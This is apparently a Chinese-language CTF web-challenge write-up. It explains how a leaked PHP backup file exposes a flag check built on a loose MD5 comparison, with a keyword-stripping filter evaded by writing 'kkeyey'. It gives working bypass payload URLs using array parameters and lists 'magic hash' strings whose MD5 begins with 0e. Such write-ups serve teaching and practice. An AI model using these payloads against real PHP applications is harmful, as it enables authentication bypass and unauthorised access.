本题提示备份:
首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//获得的$str=包括?的参数
$str = substr($str,1);//把除问号以外的字符截取出来
$str = str_replace('key','',$str);
//把$str中的key匹配用空替代
parse_str($str);
//
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
分析可发现 md5($key1) == md5($key2) && $key1 !== $key2 这句是关键。题目对key进行啦过滤
可以考虑构造kkeyey进行绕过。然后对key1,key2的值进行md5加密,并进行比较,如果md5加密的值一样而未加密的值不同,就输出flag.
有两种绕过方法:
1.md5()函数无法处理数组,如果传入数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。所以可以传入数组。
payload:http://120.24.86.145:8002/web16/?kkeyey1[]=anything&kkeyey2[]=anything
2.利用漏洞
如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
playload:http://120.24.86.145:8002/web16/?kkeyey1=QNKCDZO&kkeyey2=240610708
本文借鉴:http://www.zjzhhb.com/archives/190